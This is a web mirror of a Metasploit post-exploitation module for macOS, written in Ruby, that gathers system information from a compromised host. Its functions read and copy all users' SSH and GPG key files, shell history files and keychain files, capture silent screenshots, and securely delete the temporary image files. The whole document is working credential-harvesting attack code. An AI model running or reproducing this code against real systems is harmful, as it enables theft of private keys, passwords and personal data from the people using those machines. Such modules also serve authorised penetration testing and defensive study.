Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_osx.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::OSX::Priv
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OS X Gather Mac OS X System Information Enumeration',
16
'Description' => %q{
17
This module gathers basic system information from Mac OS X Tiger (10.4), through
18
Mojave (10.14).
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
22
'Platform' => [ 'osx' ],
23
'SessionTypes' => [ 'meterpreter', 'shell' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [ARTIFACTS_ON_DISK],
27
'Reliability' => []
28
}
29
)
30
)
31
end
32
33
def run
34
case session.type
35
when /meterpreter/
36
host = sysinfo['Computer']
37
when /shell/
38
host = cmd_exec('hostname')
39
end
40
print_status("Running module against #{host}")
41
if is_root?
42
print_status('This session is running as root!')
43
end
44
45
ver_num = get_ver
46
log_folder = log_folder_create
47
enum_conf(log_folder)
48
enum_accounts(log_folder, ver_num)
49
get_crypto_keys(log_folder)
50
screenshot(log_folder, ver_num)
51
dump_bash_history(log_folder)
52
get_keychains(log_folder)
53
end
54
55
# parse the dslocal plist in lion
56
def read_ds_xml_plist(plist_content)
57
require 'rexml/document'
58
59
doc = REXML::Document.new(plist_content)
60
keys = []
61
62
doc.elements.each('plist/dict/key') do |element|
63
keys << element.text
64
end
65
66
fields = {}
67
i = 0
68
doc.elements.each('plist/dict/array') do |element|
69
data = []
70
fields[keys[i]] = data
71
element.each_element('*') do |thing|
72
data_set = thing.text
73
if data_set
74
data << data_set.gsub("\n\t\t", '')
75
else
76
data << data_set
77
end
78
end
79
i += 1
80
end
81
return fields
82
end
83
84
# Function for creating the folder for gathered data
85
def log_folder_create(log_path = nil)
86
# Get hostname
87
case session.type
88
when /meterpreter/
89
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
90
when /shell/
91
host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
92
end
93
94
# Create Filename info to be appended to downloaded files
95
file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
96
97
# Create a directory for the logs
98
if log_path
99
logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info)
100
else
101
logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info)
102
end
103
104
# Create the log directory
105
::FileUtils.mkdir_p(logs)
106
return logs
107
end
108
109
# Checks if the target is OSX Server
110
def check_server
111
# Get the OS Name
112
cmd_exec('/usr/bin/sw_vers', '-productName') =~ /Server/
113
end
114
115
# Enumerate the OS Version
116
def get_ver
117
# Get the OS Version
118
cmd_exec('/usr/bin/sw_vers', '-productVersion')
119
end
120
121
def enum_conf(log_folder)
122
profile_datatypes = {
123
'OS' => 'SPSoftwareDataType',
124
'Network' => 'SPNetworkDataType',
125
'Bluetooth' => 'SPBluetoothDataType',
126
'Ethernet' => 'SPEthernetDataType',
127
'Printers' => 'SPPrintersDataType',
128
'USB' => 'SPUSBDataType',
129
'Airport' => 'SPAirPortDataType',
130
'Firewall' => 'SPFirewallDataType',
131
'Known Networks' => 'SPNetworkLocationDataType',
132
'Applications' => 'SPApplicationsDataType',
133
'Development Tools' => 'SPDeveloperToolsDataType',
134
'Frameworks' => 'SPFrameworksDataType',
135
'Logs' => 'SPLogsDataType',
136
'Preference Panes' => 'SPPrefPaneDataType',
137
'StartUp' => 'SPStartupItemDataType'
138
}
139
140
shell_commands = {
141
'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'],
142
'UDP Connections' => ['/usr/sbin/netstat', '-np udp'],
143
'Environment Variables' => ['/usr/bin/printenv', ''],
144
'Last Boottime' => ['/usr/bin/who', '-b'],
145
'Current Activity' => ['/usr/bin/who', ''],
146
'Process List' => ['/bin/ps', '-ea']
147
}
148
149
print_status("Saving all data to #{log_folder}")
150
151
# Enumerate first using System Profiler
152
profile_datatypes.each do |name, datatypes|
153
print_status("\tEnumerating #{name}")
154
returned_data = cmd_exec("/usr/sbin/system_profiler #{datatypes}")
155
# Save data lo log folder
156
file_local_write(log_folder + "//#{name}.txt", returned_data)
157
end
158
159
# Enumerate using system commands
160
shell_commands.each do |name, command|
161
print_status("\tEnumerating #{name}")
162
command_output = cmd_exec(command[0], command[1])
163
# Save data lo log folder
164
begin
165
file_local_write(log_folder + "//#{name}.txt", command_output)
166
rescue StandardError
167
print_error("failed to run #{name}")
168
end
169
end
170
end
171
172
def enum_accounts(log_folder, ver_num)
173
# Specific commands for Leopard and Snow Leopard
174
leopard_commands = {
175
'Users' => ['/usr/bin/dscacheutil', '-q user'],
176
'Groups' => ['/usr/bin/dscacheutil', '-q group']
177
}
178
179
# Specific commands for Tiger
180
tiger_commands = {
181
'Users' => ['/usr/sbin/lookupd', '-q user'],
182
'Groups' => ['/usr/sbin/lookupd', '-q group']
183
}
184
185
if ver_num =~ /10\.(7|6|5)/
186
shell_commands = leopard_commands
187
else
188
shell_commands = tiger_commands
189
end
190
shell_commands.each do |name, command|
191
print_status("\tEnumerating #{name}")
192
command_output = cmd_exec(command[0], command[1])
193
# Save data lo log folder
194
file_local_write(log_folder + "//#{name}.txt", command_output)
195
end
196
end
197
198
# Method for getting SSH and GPG Keys
199
def get_crypto_keys(log_folder)
200
# Run commands according to the session type
201
if session.type =~ /shell/
202
203
# Enumerate and retrieve files according to privilege level
204
if !is_root?
205
206
# Enumerate the home folder content
207
home_folder_list = cmd_exec('/bin/ls -ma ~/').split(', ')
208
209
# Check for SSH folder and extract keys if found
210
if home_folder_list.include?('.ssh')
211
print_status('.ssh Folder is present')
212
ssh_folder = cmd_exec('/bin/ls -ma ~/.ssh').split(', ')
213
ssh_folder.each do |k|
214
next if k =~ /^\.$|^\.\.$/
215
216
print_status("\tDownloading #{k.strip}")
217
ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")
218
219
# Save data lo log folder
220
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
221
end
222
end
223
224
# Check for GPG and extract keys if found
225
if home_folder_list.include?('.gnupg')
226
print_status('.gnupg Folder is present')
227
gnugpg_folder = cmd_exec('/bin/ls -ma ~/.gnupg').split(', ')
228
gnugpg_folder.each do |k|
229
next if k =~ /^\.$|^\.\.$/
230
231
print_status("\tDownloading #{k.strip}")
232
gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")
233
234
# Save data lo log folder
235
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)
236
end
237
end
238
else
239
users = []
240
users_folder = cmd_exec('/bin/ls', '/Users')
241
users_folder.each_line do |u|
242
next if u.chomp =~ /Shared|\.localized/
243
244
users << u.chomp
245
end
246
247
users.each do |u|
248
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
249
if user_folder.include?("\.ssh")
250
251
print_status(".ssh Folder is present for #{u}")
252
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(', ')
253
ssh_folder.each do |k|
254
next if k =~ /^\.$|^\.\.$/
255
256
print_status("\tDownloading #{k.strip}")
257
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")
258
259
# Save data lo log folder
260
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", ssh_file_content)
261
end
262
end
263
264
next unless user_folder.include?('.gnupg')
265
266
print_status(".gnupg Folder is present for #{u}")
267
gpg_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(', ')
268
gpg_folder.each do |k|
269
next if k =~ /^\.$|^\.\.$/
270
271
print_status("\tDownloading #{k.strip}")
272
gpg_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")
273
274
# Save data lo log folder
275
file_local_write(log_folder + "//#{k.strip.gsub(/\W/, '_')}", gpg_file_content)
276
end
277
end
278
end
279
end
280
end
281
282
# Method for capturing screenshot of targets
283
def screenshot(log_folder, ver_num)
284
if ver_num =~ /10\.(7|6|5)/
285
print_status('Capturing screenshot')
286
picture_name = ::Time.now.strftime('%Y%m%d.%M%S')
287
if is_root?
288
print_status('Capturing screenshot for each loginwindow process since privilege is root')
289
if session.type =~ /shell/
290
loginwindow_pids = cmd_exec("/bin/ps aux \| /usr/bin/awk \'/name/ \&\& \!/awk/ \{print \$2\}\'").split("\n")
291
loginwindow_pids.each do |pid|
292
print_status("\tCapturing for PID:#{pid}")
293
cmd_exec("/bin/launchctl bsexec #{pid} /usr/sbin/screencapture -x /tmp/#{pid}.jpg")
294
file_local_write(log_folder + "//screenshot_#{pid}.jpg",
295
cmd_exec("/bin/cat /tmp/#{pid}.jpg"))
296
cmd_exec("/usr/bin/srm -m -z /tmp/#{pid}.jpg")
297
end
298
end
299
else
300
cmd_exec('/usr/sbin/screencapture', "-x /tmp/#{picture_name}.jpg")
301
file_local_write(log_folder + '//screenshot.jpg',
302
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
303
cmd_exec('/usr/bin/srm', "-m -z /tmp/#{picture_name}.jpg")
304
end
305
print_status('Screenshot Captured')
306
end
307
end
308
309
def dump_bash_history(log_folder)
310
print_status('Extracting history files')
311
users = []
312
users_folder = cmd_exec('/bin/ls', '/Users')
313
current_user = cmd_exec('/usr/bin/id', '-nu')
314
users_folder.each_line do |u|
315
next if u.chomp =~ /Shared|\.localized/
316
317
users << u.chomp
318
end
319
320
# If we are root lets get root for when sudo was used and all users
321
if current_user == 'root'
322
323
# Check the root user folder
324
root_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
325
root_folder.each do |f|
326
next unless f =~ /\.\w*_history/
327
328
print_status("\tHistory file #{f.strip} found for root")
329
print_status("\tDownloading #{f.strip}")
330
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
331
332
# Save data lo log folder
333
file_local_write(log_folder + "//root_#{f.strip}.txt", sh_file)
334
end
335
336
# Getting the history files for all users
337
users.each do |u|
338
# Lets get a list of all the files on the users folder and place them in an array
339
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(', ')
340
user_folder.each do |f|
341
next unless f =~ /\.\w*_history/
342
343
print_status("\tHistory file #{f.strip} found for #{u}")
344
print_status("\tDownloading #{f.strip}")
345
sh_file = cmd_exec("/bin/cat /Users/#{u}/#{f.strip}")
346
347
# Save data lo log folder
348
file_local_write(log_folder + "//#{u}_#{f.strip}.txt", sh_file)
349
end
350
end
351
352
else
353
current_user_folder = cmd_exec('/bin/ls -ma ~/').split(', ')
354
current_user_folder.each do |f|
355
next unless f =~ /\.\w*_history/
356
357
print_status("\tHistory file #{f.strip} found for #{current_user}")
358
print_status("\tDownloading #{f.strip}")
359
sh_file = cmd_exec("/bin/cat ~/#{f.strip}")
360
361
# Save data lo log folder
362
file_local_write(log_folder + "//#{current_user}_#{f.strip}.txt", sh_file)
363
end
364
end
365
end
366
367
# Download configured Keychains
368
def get_keychains(log_folder)
369
users = []
370
users_folder = cmd_exec('/bin/ls', '/Users')
371
users_folder.each_line do |u|
372
next if u.chomp =~ /Shared|\.localized/
373
374
users << u.chomp
375
end
376
if is_root?
377
users.each do |u|
378
print_status("Enumerating and Downloading keychains for #{u}")
379
keychain_files = cmd_exec("/usr/bin/sudo -u #{u} -i /usr/bin/security list-keychains").split("\n")
380
keychain_files.each do |k|
381
keychain_file = cmd_exec("/bin/cat #{k.strip}")
382
383
# Save data lo log folder
384
file_local_write(log_folder + "//#{u}#{k.strip.gsub(/\W/, '_')}", keychain_file)
385
end
386
end
387
else
388
current_user = cmd_exec('/usr/bin/id -nu')
389
print_status("Enumerating and Downloading keychains for #{current_user}")
390
keychain_files = cmd_exec('/usr/bin/security list-keychains').split("\n")
391
keychain_files.each do |k|
392
keychain_file = cmd_exec("/bin/cat #{k.strip}")
393
394
# Save data lo log folder
395
file_local_write(log_folder + "//#{current_user}#{k.strip.gsub(/\W/, '_')}", keychain_file)
396
end
397
end
398
end
399
end
400
401